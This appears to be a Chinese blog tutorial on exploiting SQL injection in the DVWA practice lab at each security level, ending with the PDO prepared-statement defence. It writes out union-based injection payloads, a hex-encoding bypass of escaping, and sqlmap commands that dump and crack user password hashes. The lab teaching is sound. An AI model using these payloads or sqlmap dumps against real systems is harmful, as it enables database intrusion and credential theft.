DVWA-SQL注入

本文讲述了SQL注入漏洞的概念,展示了如何利用SQL注入进行信息提取,如列数判断、联合查询等,并介绍了提高数据库防御等级的方法,包括mysqli_real_escape_string的应用和使用PDO进行预处理以防止攻击。同时推荐了SQLmap工具用于漏洞检测。
摘要由CSDN通过智能技术生成

设置防御等级为low

在这里插入图片描述

查看后台源代码

如果我们执行select first_name,last_name from users where user_id = ‘1’ and 1=1#‘;
我们输入的是1‘and 1=1#
这是SQL会判断1=1是对的
#的再用是注释后面的SQL语句
如果我们执行select first_name,last_name from users where user_id = ‘1’ and 1=2#’;
我们输入的是1‘and 1=2#
这是SQL会判断1=2是错的
证明SQL语句声效 存在SQL注入漏洞
在这里插入图片描述

如何利用SQL注入漏洞呢?

1.判断列/字段数
order by [column_num]
select fisrt_name,last_name from users where user_id = ‘1’order by 1#’;
select fisrt_name,last_name from users where user_id = ‘1’order by 2#’;
select fisrt_name,last_name from users where user_id = ‘1’order by 3#’;
如果我们输入1’order by 3# 网页出现报错 则说明该数据库有2列/字段
在这里插入图片描述
2.联合查询其他信息
union select [sql1] [sql2]
select fisrt_name,last_name from users where user_id = ‘1’ union select user(),database()#‘;
user() 返回当前数据库连接用户
database() 返回当前数据库名称
在这里插入图片描述
3.联合查询表
union select table_name,tabke_schema from information_schema.tables where table_schema=’[database_name]’
union select table_name,tabke_schema from information_schema.tables where table_schema=‘1’ union select table_name,table_schema from information_schema.tables where table_schema=‘dvwa’#‘;
这里看到出来dvwa有二个表 一个是guestbook一个是users
在这里插入图片描述
4.联合查询信息
union [query_sql]
select fisrt_name,last_name from users where user_id = ‘1’ union select user,password from users#’;
这边我们看admin的Surname
5f4dcc3b5aa765d61d8327deb882cf99这个值是md5加密的我们解密出来的密码为password
在这里插入图片描述
在这里插入图片描述

SQLmap

第一步检测漏洞

我这里说一下安装python的时候建议下载3.10.0以下 我这里研究了一上午发现发现Python 3.12的发布,distutils终于被移除。根据 PEP 632,distutils 在 Python 3.10 中被标记为废弃,在 Python 3.12 中将不再是标准库的一部分。从distutils中导入将导致一个错误,因为不会有向后兼容的情况出现。如果这个时候你用3.10.0以上版本会出import distutils不存在等
sqlmap下载连接https://sqlmap.org/
python下载连接https://www.python.org/
1.请在sqlmap文件夹下浏览框输入cmd
在这里插入图片描述
2.输入python sqlmap.py
3.python sqlmap.py -u “http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie=“PHPSESSID=movv8kmt8se81nlei49vj9bnf6; security=low”
其中的-u是需要检测的网址 --cookie是DVWA需要登录。可以在浏览器控制台查看请求头中获取cookie

1.it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
DBMS为Mysql,问我们是否要其他数据库进行检测
2.for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]
问我们这个数据库扩展提供的级别(1)和风险(1)值是否进行检测。
3.GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)[y/N]
GET参数“id”易受攻击。你想继续测试其他人吗

在这里插入图片描述
在这里插入图片描述

第二步获取数据库名

python sqlmap.py -u “http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie=“PHPSESSID=movv8kmt8se81nlei49vj9bnf6; security=low” --dbs
dbs:database server 获取所有数据库名
在这里插入图片描述

第三步获取指定数据库

python sqlmap.py -u “http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie=“PHPSESSID=movv8kmt8se81nlei49vj9bnf6; security=low” -D dvwa --tables
D:Database指定想要获取的数据库名为dvwa
tables:累出数据库表
在这里插入图片描述

第四部获取指定数据库列/表项

python sqlmap.py -u “http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie=“PHPSESSID=movv8kmt8se81nlei49vj9bnf6; security=low” -D dvwa -T users --columns
D:Database指定想要获取的数据库名为dvwa
T:table指定想要获取的表名为users
columns:列出表项/列
在这里插入图片描述

第五步获取数据

python sqlmap.py -u “http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie=“PHPSESSID=movv8kmt8se81nlei49vj9bnf6; security=low” -D dvwa -T users --dump
dump:读取数据

do you want to store hashes to a temporary file for eventual further processing with other tools [y/N]
是否要将哈希存储到临时文件中,以便最终使用其他工具进行进一步处理
do you want to crack them via a dictionary-based attack? [Y/n/q]
你想通过基于字典的攻击来破解它们吗? 爆破/不爆破/退出

在这里插入图片描述

设置防御等级为Medium

在这里插入图片描述
mysqli_real_escape_string这个是php中一个内置函数作用是转移字符串中的特殊字符 意思是给每个’前面加个\

select frist_name,last_name from users where user_id='1' union select table_name,table_schema from information_schema.tables where table_schema='dvwa'#';
select frist_name,last_name from users where user_id='1\' union select table_name,table_schema from information_schema.tables where table_schema=\'dvwa\'#';
第一个将dvwa替换成database()
select frist_name,last_name from users where user_id='1 union select table_name,table_schema from information_schema.tables where table_schema=database()#';
第二个将dvwa替换成0x64767761的十六进制
select frist_name,last_name from users where user_id='1 union select table_name,table_schema from information_schema.tables where table_schema=0x64767761#';

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

设置防御等级设置High

在这里插入图片描述
select frist_name,last_name from users where user_id=‘$id’ LIMIT 1;这里是添加了限制
high中缺少传入数据的过滤,无法防御注入漏洞
在这里插入图片描述
在这里插入图片描述

设置成Imporssible

在这里插入图片描述
这里坐牢后端格式验证
在这里插入图片描述
下面坐牢SQL预处理PDO
在这里插入图片描述
1.in_numeric 判断用户输入的是不是数字
2.intval 获取用户输入内容的数字 再次确定
3.prepare 进行sql语句预处理
4.bindParam 绑定输入参数 并再次指定为整形
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

  • 30
    点赞
  • 26
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Ryongao

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值